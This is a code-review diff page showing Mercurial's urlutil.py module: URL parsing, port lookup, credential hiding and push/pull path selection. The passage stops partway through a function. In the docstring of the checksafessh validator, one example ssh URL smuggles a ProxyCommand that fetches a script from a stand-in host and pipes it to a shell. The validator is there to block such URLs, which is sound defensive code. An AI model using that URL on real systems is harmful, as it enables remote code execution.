##// END OF EJS Templates
path-suboption: deprecated specifying the attributes as bytes...
marmoute -
r51802:35885dbd default
parent child Browse files
Show More
@@ -1,980 +1,985 b''
1 # utils.urlutil - code related to [paths] management
1 # utils.urlutil - code related to [paths] management
2 #
2 #
3 # Copyright 2005-2023 Olivia Mackall <olivia@selenic.com> and others
3 # Copyright 2005-2023 Olivia Mackall <olivia@selenic.com> and others
4 #
4 #
5 # This software may be used and distributed according to the terms of the
5 # This software may be used and distributed according to the terms of the
6 # GNU General Public License version 2 or any later version.
6 # GNU General Public License version 2 or any later version.
7 import os
7 import os
8 import re as remod
8 import re as remod
9 import socket
9 import socket
10
10
11 from ..i18n import _
11 from ..i18n import _
12 from ..pycompat import (
12 from ..pycompat import (
13 getattr,
13 getattr,
14 setattr,
14 setattr,
15 )
15 )
16 from .. import (
16 from .. import (
17 encoding,
17 encoding,
18 error,
18 error,
19 pycompat,
19 pycompat,
20 urllibcompat,
20 urllibcompat,
21 util,
21 )
22 )
22
23
23 from . import (
24 from . import (
24 stringutil,
25 stringutil,
25 )
26 )
26
27
27 from ..revlogutils import (
28 from ..revlogutils import (
28 constants as revlog_constants,
29 constants as revlog_constants,
29 )
30 )
30
31
31
32
32 if pycompat.TYPE_CHECKING:
33 if pycompat.TYPE_CHECKING:
33 from typing import (
34 from typing import (
34 Union,
35 Union,
35 )
36 )
36
37
37 urlreq = urllibcompat.urlreq
38 urlreq = urllibcompat.urlreq
38
39
39
40
40 def getport(port):
41 def getport(port):
41 # type: (Union[bytes, int]) -> int
42 # type: (Union[bytes, int]) -> int
42 """Return the port for a given network service.
43 """Return the port for a given network service.
43
44
44 If port is an integer, it's returned as is. If it's a string, it's
45 If port is an integer, it's returned as is. If it's a string, it's
45 looked up using socket.getservbyname(). If there's no matching
46 looked up using socket.getservbyname(). If there's no matching
46 service, error.Abort is raised.
47 service, error.Abort is raised.
47 """
48 """
48 try:
49 try:
49 return int(port)
50 return int(port)
50 except ValueError:
51 except ValueError:
51 pass
52 pass
52
53
53 try:
54 try:
54 return socket.getservbyname(pycompat.sysstr(port))
55 return socket.getservbyname(pycompat.sysstr(port))
55 except socket.error:
56 except socket.error:
56 raise error.Abort(
57 raise error.Abort(
57 _(b"no port number associated with service '%s'") % port
58 _(b"no port number associated with service '%s'") % port
58 )
59 )
59
60
60
61
61 class url:
62 class url:
62 r"""Reliable URL parser.
63 r"""Reliable URL parser.
63
64
64 This parses URLs and provides attributes for the following
65 This parses URLs and provides attributes for the following
65 components:
66 components:
66
67
67 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
68 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
68
69
69 Missing components are set to None. The only exception is
70 Missing components are set to None. The only exception is
70 fragment, which is set to '' if present but empty.
71 fragment, which is set to '' if present but empty.
71
72
72 If parsefragment is False, fragment is included in query. If
73 If parsefragment is False, fragment is included in query. If
73 parsequery is False, query is included in path. If both are
74 parsequery is False, query is included in path. If both are
74 False, both fragment and query are included in path.
75 False, both fragment and query are included in path.
75
76
76 See http://www.ietf.org/rfc/rfc2396.txt for more information.
77 See http://www.ietf.org/rfc/rfc2396.txt for more information.
77
78
78 Note that for backward compatibility reasons, bundle URLs do not
79 Note that for backward compatibility reasons, bundle URLs do not
79 take host names. That means 'bundle://../' has a path of '../'.
80 take host names. That means 'bundle://../' has a path of '../'.
80
81
81 Examples:
82 Examples:
82
83
83 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
84 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
84 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
85 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
85 >>> url(b'ssh://[::1]:2200//home/joe/repo')
86 >>> url(b'ssh://[::1]:2200//home/joe/repo')
86 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
87 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
87 >>> url(b'file:///home/joe/repo')
88 >>> url(b'file:///home/joe/repo')
88 <url scheme: 'file', path: '/home/joe/repo'>
89 <url scheme: 'file', path: '/home/joe/repo'>
89 >>> url(b'file:///c:/temp/foo/')
90 >>> url(b'file:///c:/temp/foo/')
90 <url scheme: 'file', path: 'c:/temp/foo/'>
91 <url scheme: 'file', path: 'c:/temp/foo/'>
91 >>> url(b'bundle:foo')
92 >>> url(b'bundle:foo')
92 <url scheme: 'bundle', path: 'foo'>
93 <url scheme: 'bundle', path: 'foo'>
93 >>> url(b'bundle://../foo')
94 >>> url(b'bundle://../foo')
94 <url scheme: 'bundle', path: '../foo'>
95 <url scheme: 'bundle', path: '../foo'>
95 >>> url(br'c:\foo\bar')
96 >>> url(br'c:\foo\bar')
96 <url path: 'c:\\foo\\bar'>
97 <url path: 'c:\\foo\\bar'>
97 >>> url(br'\\blah\blah\blah')
98 >>> url(br'\\blah\blah\blah')
98 <url path: '\\\\blah\\blah\\blah'>
99 <url path: '\\\\blah\\blah\\blah'>
99 >>> url(br'\\blah\blah\blah#baz')
100 >>> url(br'\\blah\blah\blah#baz')
100 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
101 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
101 >>> url(br'file:///C:\users\me')
102 >>> url(br'file:///C:\users\me')
102 <url scheme: 'file', path: 'C:\\users\\me'>
103 <url scheme: 'file', path: 'C:\\users\\me'>
103
104
104 Authentication credentials:
105 Authentication credentials:
105
106
106 >>> url(b'ssh://joe:xyz@x/repo')
107 >>> url(b'ssh://joe:xyz@x/repo')
107 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
108 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
108 >>> url(b'ssh://joe@x/repo')
109 >>> url(b'ssh://joe@x/repo')
109 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
110 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
110
111
111 Query strings and fragments:
112 Query strings and fragments:
112
113
113 >>> url(b'http://host/a?b#c')
114 >>> url(b'http://host/a?b#c')
114 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
115 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
115 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
116 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
116 <url scheme: 'http', host: 'host', path: 'a?b#c'>
117 <url scheme: 'http', host: 'host', path: 'a?b#c'>
117
118
118 Empty path:
119 Empty path:
119
120
120 >>> url(b'')
121 >>> url(b'')
121 <url path: ''>
122 <url path: ''>
122 >>> url(b'#a')
123 >>> url(b'#a')
123 <url path: '', fragment: 'a'>
124 <url path: '', fragment: 'a'>
124 >>> url(b'http://host/')
125 >>> url(b'http://host/')
125 <url scheme: 'http', host: 'host', path: ''>
126 <url scheme: 'http', host: 'host', path: ''>
126 >>> url(b'http://host/#a')
127 >>> url(b'http://host/#a')
127 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
128 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
128
129
129 Only scheme:
130 Only scheme:
130
131
131 >>> url(b'http:')
132 >>> url(b'http:')
132 <url scheme: 'http'>
133 <url scheme: 'http'>
133 """
134 """
134
135
135 _safechars = b"!~*'()+"
136 _safechars = b"!~*'()+"
136 _safepchars = b"/!~*'()+:\\"
137 _safepchars = b"/!~*'()+:\\"
137 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
138 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
138
139
139 def __init__(self, path, parsequery=True, parsefragment=True):
140 def __init__(self, path, parsequery=True, parsefragment=True):
140 # type: (bytes, bool, bool) -> None
141 # type: (bytes, bool, bool) -> None
141 # We slowly chomp away at path until we have only the path left
142 # We slowly chomp away at path until we have only the path left
142 self.scheme = self.user = self.passwd = self.host = None
143 self.scheme = self.user = self.passwd = self.host = None
143 self.port = self.path = self.query = self.fragment = None
144 self.port = self.path = self.query = self.fragment = None
144 self._localpath = True
145 self._localpath = True
145 self._hostport = b''
146 self._hostport = b''
146 self._origpath = path
147 self._origpath = path
147
148
148 if parsefragment and b'#' in path:
149 if parsefragment and b'#' in path:
149 path, self.fragment = path.split(b'#', 1)
150 path, self.fragment = path.split(b'#', 1)
150
151
151 # special case for Windows drive letters and UNC paths
152 # special case for Windows drive letters and UNC paths
152 if hasdriveletter(path) or path.startswith(b'\\\\'):
153 if hasdriveletter(path) or path.startswith(b'\\\\'):
153 self.path = path
154 self.path = path
154 return
155 return
155
156
156 # For compatibility reasons, we can't handle bundle paths as
157 # For compatibility reasons, we can't handle bundle paths as
157 # normal URLS
158 # normal URLS
158 if path.startswith(b'bundle:'):
159 if path.startswith(b'bundle:'):
159 self.scheme = b'bundle'
160 self.scheme = b'bundle'
160 path = path[7:]
161 path = path[7:]
161 if path.startswith(b'//'):
162 if path.startswith(b'//'):
162 path = path[2:]
163 path = path[2:]
163 self.path = path
164 self.path = path
164 return
165 return
165
166
166 if self._matchscheme(path):
167 if self._matchscheme(path):
167 parts = path.split(b':', 1)
168 parts = path.split(b':', 1)
168 if parts[0]:
169 if parts[0]:
169 self.scheme, path = parts
170 self.scheme, path = parts
170 self._localpath = False
171 self._localpath = False
171
172
172 if not path:
173 if not path:
173 path = None
174 path = None
174 if self._localpath:
175 if self._localpath:
175 self.path = b''
176 self.path = b''
176 return
177 return
177 else:
178 else:
178 if self._localpath:
179 if self._localpath:
179 self.path = path
180 self.path = path
180 return
181 return
181
182
182 if parsequery and b'?' in path:
183 if parsequery and b'?' in path:
183 path, self.query = path.split(b'?', 1)
184 path, self.query = path.split(b'?', 1)
184 if not path:
185 if not path:
185 path = None
186 path = None
186 if not self.query:
187 if not self.query:
187 self.query = None
188 self.query = None
188
189
189 # // is required to specify a host/authority
190 # // is required to specify a host/authority
190 if path and path.startswith(b'//'):
191 if path and path.startswith(b'//'):
191 parts = path[2:].split(b'/', 1)
192 parts = path[2:].split(b'/', 1)
192 if len(parts) > 1:
193 if len(parts) > 1:
193 self.host, path = parts
194 self.host, path = parts
194 else:
195 else:
195 self.host = parts[0]
196 self.host = parts[0]
196 path = None
197 path = None
197 if not self.host:
198 if not self.host:
198 self.host = None
199 self.host = None
199 # path of file:///d is /d
200 # path of file:///d is /d
200 # path of file:///d:/ is d:/, not /d:/
201 # path of file:///d:/ is d:/, not /d:/
201 if path and not hasdriveletter(path):
202 if path and not hasdriveletter(path):
202 path = b'/' + path
203 path = b'/' + path
203
204
204 if self.host and b'@' in self.host:
205 if self.host and b'@' in self.host:
205 self.user, self.host = self.host.rsplit(b'@', 1)
206 self.user, self.host = self.host.rsplit(b'@', 1)
206 if b':' in self.user:
207 if b':' in self.user:
207 self.user, self.passwd = self.user.split(b':', 1)
208 self.user, self.passwd = self.user.split(b':', 1)
208 if not self.host:
209 if not self.host:
209 self.host = None
210 self.host = None
210
211
211 # Don't split on colons in IPv6 addresses without ports
212 # Don't split on colons in IPv6 addresses without ports
212 if (
213 if (
213 self.host
214 self.host
214 and b':' in self.host
215 and b':' in self.host
215 and not (
216 and not (
216 self.host.startswith(b'[') and self.host.endswith(b']')
217 self.host.startswith(b'[') and self.host.endswith(b']')
217 )
218 )
218 ):
219 ):
219 self._hostport = self.host
220 self._hostport = self.host
220 self.host, self.port = self.host.rsplit(b':', 1)
221 self.host, self.port = self.host.rsplit(b':', 1)
221 if not self.host:
222 if not self.host:
222 self.host = None
223 self.host = None
223
224
224 if (
225 if (
225 self.host
226 self.host
226 and self.scheme == b'file'
227 and self.scheme == b'file'
227 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
228 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
228 ):
229 ):
229 raise error.Abort(
230 raise error.Abort(
230 _(b'file:// URLs can only refer to localhost')
231 _(b'file:// URLs can only refer to localhost')
231 )
232 )
232
233
233 self.path = path
234 self.path = path
234
235
235 # leave the query string escaped
236 # leave the query string escaped
236 for a in ('user', 'passwd', 'host', 'port', 'path', 'fragment'):
237 for a in ('user', 'passwd', 'host', 'port', 'path', 'fragment'):
237 v = getattr(self, a)
238 v = getattr(self, a)
238 if v is not None:
239 if v is not None:
239 setattr(self, a, urlreq.unquote(v))
240 setattr(self, a, urlreq.unquote(v))
240
241
241 def copy(self):
242 def copy(self):
242 u = url(b'temporary useless value')
243 u = url(b'temporary useless value')
243 u.path = self.path
244 u.path = self.path
244 u.scheme = self.scheme
245 u.scheme = self.scheme
245 u.user = self.user
246 u.user = self.user
246 u.passwd = self.passwd
247 u.passwd = self.passwd
247 u.host = self.host
248 u.host = self.host
248 u.port = self.port
249 u.port = self.port
249 u.query = self.query
250 u.query = self.query
250 u.fragment = self.fragment
251 u.fragment = self.fragment
251 u._localpath = self._localpath
252 u._localpath = self._localpath
252 u._hostport = self._hostport
253 u._hostport = self._hostport
253 u._origpath = self._origpath
254 u._origpath = self._origpath
254 return u
255 return u
255
256
256 @encoding.strmethod
257 @encoding.strmethod
257 def __repr__(self):
258 def __repr__(self):
258 attrs = []
259 attrs = []
259 for a in (
260 for a in (
260 'scheme',
261 'scheme',
261 'user',
262 'user',
262 'passwd',
263 'passwd',
263 'host',
264 'host',
264 'port',
265 'port',
265 'path',
266 'path',
266 'query',
267 'query',
267 'fragment',
268 'fragment',
268 ):
269 ):
269 v = getattr(self, a)
270 v = getattr(self, a)
270 if v is not None:
271 if v is not None:
271 line = b'%s: %r'
272 line = b'%s: %r'
272 line %= (pycompat.bytestr(a), pycompat.bytestr(v))
273 line %= (pycompat.bytestr(a), pycompat.bytestr(v))
273 attrs.append(line)
274 attrs.append(line)
274 return b'<url %s>' % b', '.join(attrs)
275 return b'<url %s>' % b', '.join(attrs)
275
276
276 def __bytes__(self):
277 def __bytes__(self):
277 r"""Join the URL's components back into a URL string.
278 r"""Join the URL's components back into a URL string.
278
279
279 Examples:
280 Examples:
280
281
281 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
282 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
282 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
283 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
283 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
284 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
284 'http://user:pw@host:80/?foo=bar&baz=42'
285 'http://user:pw@host:80/?foo=bar&baz=42'
285 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
286 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
286 'http://user:pw@host:80/?foo=bar%3dbaz'
287 'http://user:pw@host:80/?foo=bar%3dbaz'
287 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
288 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
288 'ssh://user:pw@[::1]:2200//home/joe#'
289 'ssh://user:pw@[::1]:2200//home/joe#'
289 >>> bytes(url(b'http://localhost:80//'))
290 >>> bytes(url(b'http://localhost:80//'))
290 'http://localhost:80//'
291 'http://localhost:80//'
291 >>> bytes(url(b'http://localhost:80/'))
292 >>> bytes(url(b'http://localhost:80/'))
292 'http://localhost:80/'
293 'http://localhost:80/'
293 >>> bytes(url(b'http://localhost:80'))
294 >>> bytes(url(b'http://localhost:80'))
294 'http://localhost:80/'
295 'http://localhost:80/'
295 >>> bytes(url(b'bundle:foo'))
296 >>> bytes(url(b'bundle:foo'))
296 'bundle:foo'
297 'bundle:foo'
297 >>> bytes(url(b'bundle://../foo'))
298 >>> bytes(url(b'bundle://../foo'))
298 'bundle:../foo'
299 'bundle:../foo'
299 >>> bytes(url(b'path'))
300 >>> bytes(url(b'path'))
300 'path'
301 'path'
301 >>> bytes(url(b'file:///tmp/foo/bar'))
302 >>> bytes(url(b'file:///tmp/foo/bar'))
302 'file:///tmp/foo/bar'
303 'file:///tmp/foo/bar'
303 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
304 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
304 'file:///c:/tmp/foo/bar'
305 'file:///c:/tmp/foo/bar'
305 >>> print(url(br'bundle:foo\bar'))
306 >>> print(url(br'bundle:foo\bar'))
306 bundle:foo\bar
307 bundle:foo\bar
307 >>> print(url(br'file:///D:\data\hg'))
308 >>> print(url(br'file:///D:\data\hg'))
308 file:///D:\data\hg
309 file:///D:\data\hg
309 """
310 """
310 if self._localpath:
311 if self._localpath:
311 s = self.path
312 s = self.path
312 if self.scheme == b'bundle':
313 if self.scheme == b'bundle':
313 s = b'bundle:' + s
314 s = b'bundle:' + s
314 if self.fragment:
315 if self.fragment:
315 s += b'#' + self.fragment
316 s += b'#' + self.fragment
316 return s
317 return s
317
318
318 s = self.scheme + b':'
319 s = self.scheme + b':'
319 if self.user or self.passwd or self.host:
320 if self.user or self.passwd or self.host:
320 s += b'//'
321 s += b'//'
321 elif self.scheme and (
322 elif self.scheme and (
322 not self.path
323 not self.path
323 or self.path.startswith(b'/')
324 or self.path.startswith(b'/')
324 or hasdriveletter(self.path)
325 or hasdriveletter(self.path)
325 ):
326 ):
326 s += b'//'
327 s += b'//'
327 if hasdriveletter(self.path):
328 if hasdriveletter(self.path):
328 s += b'/'
329 s += b'/'
329 if self.user:
330 if self.user:
330 s += urlreq.quote(self.user, safe=self._safechars)
331 s += urlreq.quote(self.user, safe=self._safechars)
331 if self.passwd:
332 if self.passwd:
332 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
333 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
333 if self.user or self.passwd:
334 if self.user or self.passwd:
334 s += b'@'
335 s += b'@'
335 if self.host:
336 if self.host:
336 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
337 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
337 s += urlreq.quote(self.host)
338 s += urlreq.quote(self.host)
338 else:
339 else:
339 s += self.host
340 s += self.host
340 if self.port:
341 if self.port:
341 s += b':' + urlreq.quote(self.port)
342 s += b':' + urlreq.quote(self.port)
342 if self.host:
343 if self.host:
343 s += b'/'
344 s += b'/'
344 if self.path:
345 if self.path:
345 # TODO: similar to the query string, we should not unescape the
346 # TODO: similar to the query string, we should not unescape the
346 # path when we store it, the path might contain '%2f' = '/',
347 # path when we store it, the path might contain '%2f' = '/',
347 # which we should *not* escape.
348 # which we should *not* escape.
348 s += urlreq.quote(self.path, safe=self._safepchars)
349 s += urlreq.quote(self.path, safe=self._safepchars)
349 if self.query:
350 if self.query:
350 # we store the query in escaped form.
351 # we store the query in escaped form.
351 s += b'?' + self.query
352 s += b'?' + self.query
352 if self.fragment is not None:
353 if self.fragment is not None:
353 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
354 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
354 return s
355 return s
355
356
356 __str__ = encoding.strmethod(__bytes__)
357 __str__ = encoding.strmethod(__bytes__)
357
358
358 def authinfo(self):
359 def authinfo(self):
359 user, passwd = self.user, self.passwd
360 user, passwd = self.user, self.passwd
360 try:
361 try:
361 self.user, self.passwd = None, None
362 self.user, self.passwd = None, None
362 s = bytes(self)
363 s = bytes(self)
363 finally:
364 finally:
364 self.user, self.passwd = user, passwd
365 self.user, self.passwd = user, passwd
365 if not self.user:
366 if not self.user:
366 return (s, None)
367 return (s, None)
367 # authinfo[1] is passed to urllib2 password manager, and its
368 # authinfo[1] is passed to urllib2 password manager, and its
368 # URIs must not contain credentials. The host is passed in the
369 # URIs must not contain credentials. The host is passed in the
369 # URIs list because Python < 2.4.3 uses only that to search for
370 # URIs list because Python < 2.4.3 uses only that to search for
370 # a password.
371 # a password.
371 return (s, (None, (s, self.host), self.user, self.passwd or b''))
372 return (s, (None, (s, self.host), self.user, self.passwd or b''))
372
373
373 def isabs(self):
374 def isabs(self):
374 if self.scheme and self.scheme != b'file':
375 if self.scheme and self.scheme != b'file':
375 return True # remote URL
376 return True # remote URL
376 if hasdriveletter(self.path):
377 if hasdriveletter(self.path):
377 return True # absolute for our purposes - can't be joined()
378 return True # absolute for our purposes - can't be joined()
378 if self.path.startswith(br'\\'):
379 if self.path.startswith(br'\\'):
379 return True # Windows UNC path
380 return True # Windows UNC path
380 if self.path.startswith(b'/'):
381 if self.path.startswith(b'/'):
381 return True # POSIX-style
382 return True # POSIX-style
382 return False
383 return False
383
384
384 def localpath(self):
385 def localpath(self):
385 # type: () -> bytes
386 # type: () -> bytes
386 if self.scheme == b'file' or self.scheme == b'bundle':
387 if self.scheme == b'file' or self.scheme == b'bundle':
387 path = self.path or b'/'
388 path = self.path or b'/'
388 # For Windows, we need to promote hosts containing drive
389 # For Windows, we need to promote hosts containing drive
389 # letters to paths with drive letters.
390 # letters to paths with drive letters.
390 if hasdriveletter(self._hostport):
391 if hasdriveletter(self._hostport):
391 path = self._hostport + b'/' + self.path
392 path = self._hostport + b'/' + self.path
392 elif (
393 elif (
393 self.host is not None and self.path and not hasdriveletter(path)
394 self.host is not None and self.path and not hasdriveletter(path)
394 ):
395 ):
395 path = b'/' + path
396 path = b'/' + path
396 return path
397 return path
397 return self._origpath
398 return self._origpath
398
399
399 def islocal(self):
400 def islocal(self):
400 '''whether localpath will return something that posixfile can open'''
401 '''whether localpath will return something that posixfile can open'''
401 return (
402 return (
402 not self.scheme
403 not self.scheme
403 or self.scheme == b'file'
404 or self.scheme == b'file'
404 or self.scheme == b'bundle'
405 or self.scheme == b'bundle'
405 )
406 )
406
407
407
408
408 def hasscheme(path):
409 def hasscheme(path):
409 # type: (bytes) -> bool
410 # type: (bytes) -> bool
410 return bool(url(path).scheme) # cast to help pytype
411 return bool(url(path).scheme) # cast to help pytype
411
412
412
413
413 def hasdriveletter(path):
414 def hasdriveletter(path):
414 # type: (bytes) -> bool
415 # type: (bytes) -> bool
415 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
416 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
416
417
417
418
418 def urllocalpath(path):
419 def urllocalpath(path):
419 # type: (bytes) -> bytes
420 # type: (bytes) -> bytes
420 return url(path, parsequery=False, parsefragment=False).localpath()
421 return url(path, parsequery=False, parsefragment=False).localpath()
421
422
422
423
423 def checksafessh(path):
424 def checksafessh(path):
424 # type: (bytes) -> None
425 # type: (bytes) -> None
425 """check if a path / url is a potentially unsafe ssh exploit (SEC)
426 """check if a path / url is a potentially unsafe ssh exploit (SEC)
426
427
427 This is a sanity check for ssh urls. ssh will parse the first item as
428 This is a sanity check for ssh urls. ssh will parse the first item as
428 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
429 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
429 Let's prevent these potentially exploited urls entirely and warn the
430 Let's prevent these potentially exploited urls entirely and warn the
430 user.
431 user.
431
432
432 Raises an error.Abort when the url is unsafe.
433 Raises an error.Abort when the url is unsafe.
433 """
434 """
434 path = urlreq.unquote(path)
435 path = urlreq.unquote(path)
435 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
436 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
436 raise error.Abort(
437 raise error.Abort(
437 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
438 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
438 )
439 )
439
440
440
441
441 def hidepassword(u):
442 def hidepassword(u):
442 # type: (bytes) -> bytes
443 # type: (bytes) -> bytes
443 '''hide user credential in a url string'''
444 '''hide user credential in a url string'''
444 u = url(u)
445 u = url(u)
445 if u.passwd:
446 if u.passwd:
446 u.passwd = b'***'
447 u.passwd = b'***'
447 return bytes(u)
448 return bytes(u)
448
449
449
450
450 def removeauth(u):
451 def removeauth(u):
451 # type: (bytes) -> bytes
452 # type: (bytes) -> bytes
452 '''remove all authentication information from a url string'''
453 '''remove all authentication information from a url string'''
453 u = url(u)
454 u = url(u)
454 u.user = u.passwd = None
455 u.user = u.passwd = None
455 return bytes(u)
456 return bytes(u)
456
457
457
458
458 def list_paths(ui, target_path=None):
459 def list_paths(ui, target_path=None):
459 """list all the (name, paths) in the passed ui"""
460 """list all the (name, paths) in the passed ui"""
460 result = []
461 result = []
461 if target_path is None:
462 if target_path is None:
462 for name, paths in sorted(ui.paths.items()):
463 for name, paths in sorted(ui.paths.items()):
463 for p in paths:
464 for p in paths:
464 result.append((name, p))
465 result.append((name, p))
465
466
466 else:
467 else:
467 for path in ui.paths.get(target_path, []):
468 for path in ui.paths.get(target_path, []):
468 result.append((target_path, path))
469 result.append((target_path, path))
469 return result
470 return result
470
471
471
472
472 def try_path(ui, url):
473 def try_path(ui, url):
473 """try to build a path from a url
474 """try to build a path from a url
474
475
475 Return None if no Path could built.
476 Return None if no Path could built.
476 """
477 """
477 try:
478 try:
478 # we pass the ui instance are warning might need to be issued
479 # we pass the ui instance are warning might need to be issued
479 return path(ui, None, rawloc=url)
480 return path(ui, None, rawloc=url)
480 except ValueError:
481 except ValueError:
481 return None
482 return None
482
483
483
484
484 def get_push_paths(repo, ui, dests):
485 def get_push_paths(repo, ui, dests):
485 """yields all the `path` selected as push destination by `dests`"""
486 """yields all the `path` selected as push destination by `dests`"""
486 if not dests:
487 if not dests:
487 if b'default-push' in ui.paths:
488 if b'default-push' in ui.paths:
488 for p in ui.paths[b'default-push']:
489 for p in ui.paths[b'default-push']:
489 yield p.get_push_variant()
490 yield p.get_push_variant()
490 elif b'default' in ui.paths:
491 elif b'default' in ui.paths:
491 for p in ui.paths[b'default']:
492 for p in ui.paths[b'default']:
492 yield p.get_push_variant()
493 yield p.get_push_variant()
493 else:
494 else:
494 raise error.ConfigError(
495 raise error.ConfigError(
495 _(b'default repository not configured!'),
496 _(b'default repository not configured!'),
496 hint=_(b"see 'hg help config.paths'"),
497 hint=_(b"see 'hg help config.paths'"),
497 )
498 )
498 else:
499 else:
499 for dest in dests:
500 for dest in dests:
500 if dest in ui.paths:
501 if dest in ui.paths:
501 for p in ui.paths[dest]:
502 for p in ui.paths[dest]:
502 yield p.get_push_variant()
503 yield p.get_push_variant()
503 else:
504 else:
504 path = try_path(ui, dest)
505 path = try_path(ui, dest)
505 if path is None:
506 if path is None:
506 msg = _(b'repository %s does not exist')
507 msg = _(b'repository %s does not exist')
507 msg %= dest
508 msg %= dest
508 raise error.RepoError(msg)
509 raise error.RepoError(msg)
509 yield path.get_push_variant()
510 yield path.get_push_variant()
510
511
511
512
512 def get_pull_paths(repo, ui, sources):
513 def get_pull_paths(repo, ui, sources):
513 """yields all the `(path, branch)` selected as pull source by `sources`"""
514 """yields all the `(path, branch)` selected as pull source by `sources`"""
514 if not sources:
515 if not sources:
515 sources = [b'default']
516 sources = [b'default']
516 for source in sources:
517 for source in sources:
517 if source in ui.paths:
518 if source in ui.paths:
518 for p in ui.paths[source]:
519 for p in ui.paths[source]:
519 yield p
520 yield p
520 else:
521 else:
521 p = path(ui, None, source, validate_path=False)
522 p = path(ui, None, source, validate_path=False)
522 yield p
523 yield p
523
524
524
525
525 def get_unique_push_path(action, repo, ui, dest=None):
526 def get_unique_push_path(action, repo, ui, dest=None):
526 """return a unique `path` or abort if multiple are found
527 """return a unique `path` or abort if multiple are found
527
528
528 This is useful for command and action that does not support multiple
529 This is useful for command and action that does not support multiple
529 destination (yet).
530 destination (yet).
530
531
531 The `action` parameter will be used for the error message.
532 The `action` parameter will be used for the error message.
532 """
533 """
533 if dest is None:
534 if dest is None:
534 dests = []
535 dests = []
535 else:
536 else:
536 dests = [dest]
537 dests = [dest]
537 dests = list(get_push_paths(repo, ui, dests))
538 dests = list(get_push_paths(repo, ui, dests))
538 if len(dests) != 1:
539 if len(dests) != 1:
539 if dest is None:
540 if dest is None:
540 msg = _(
541 msg = _(
541 b"default path points to %d urls while %s only supports one"
542 b"default path points to %d urls while %s only supports one"
542 )
543 )
543 msg %= (len(dests), action)
544 msg %= (len(dests), action)
544 else:
545 else:
545 msg = _(b"path points to %d urls while %s only supports one: %s")
546 msg = _(b"path points to %d urls while %s only supports one: %s")
546 msg %= (len(dests), action, dest)
547 msg %= (len(dests), action, dest)
547 raise error.Abort(msg)
548 raise error.Abort(msg)
548 return dests[0]
549 return dests[0]
549
550
550
551
551 def get_unique_pull_path_obj(action, ui, source=None):
552 def get_unique_pull_path_obj(action, ui, source=None):
552 """return a unique `(path, branch)` or abort if multiple are found
553 """return a unique `(path, branch)` or abort if multiple are found
553
554
554 This is useful for command and action that does not support multiple
555 This is useful for command and action that does not support multiple
555 destination (yet).
556 destination (yet).
556
557
557 The `action` parameter will be used for the error message.
558 The `action` parameter will be used for the error message.
558
559
559 note: Ideally, this function would be called `get_unique_pull_path` to
560 note: Ideally, this function would be called `get_unique_pull_path` to
560 mirror the `get_unique_push_path`, but the name was already taken.
561 mirror the `get_unique_push_path`, but the name was already taken.
561 """
562 """
562 sources = []
563 sources = []
563 if source is not None:
564 if source is not None:
564 sources.append(source)
565 sources.append(source)
565
566
566 pull_paths = list(get_pull_paths(None, ui, sources=sources))
567 pull_paths = list(get_pull_paths(None, ui, sources=sources))
567 path_count = len(pull_paths)
568 path_count = len(pull_paths)
568 if path_count != 1:
569 if path_count != 1:
569 if source is None:
570 if source is None:
570 msg = _(
571 msg = _(
571 b"default path points to %d urls while %s only supports one"
572 b"default path points to %d urls while %s only supports one"
572 )
573 )
573 msg %= (path_count, action)
574 msg %= (path_count, action)
574 else:
575 else:
575 msg = _(b"path points to %d urls while %s only supports one: %s")
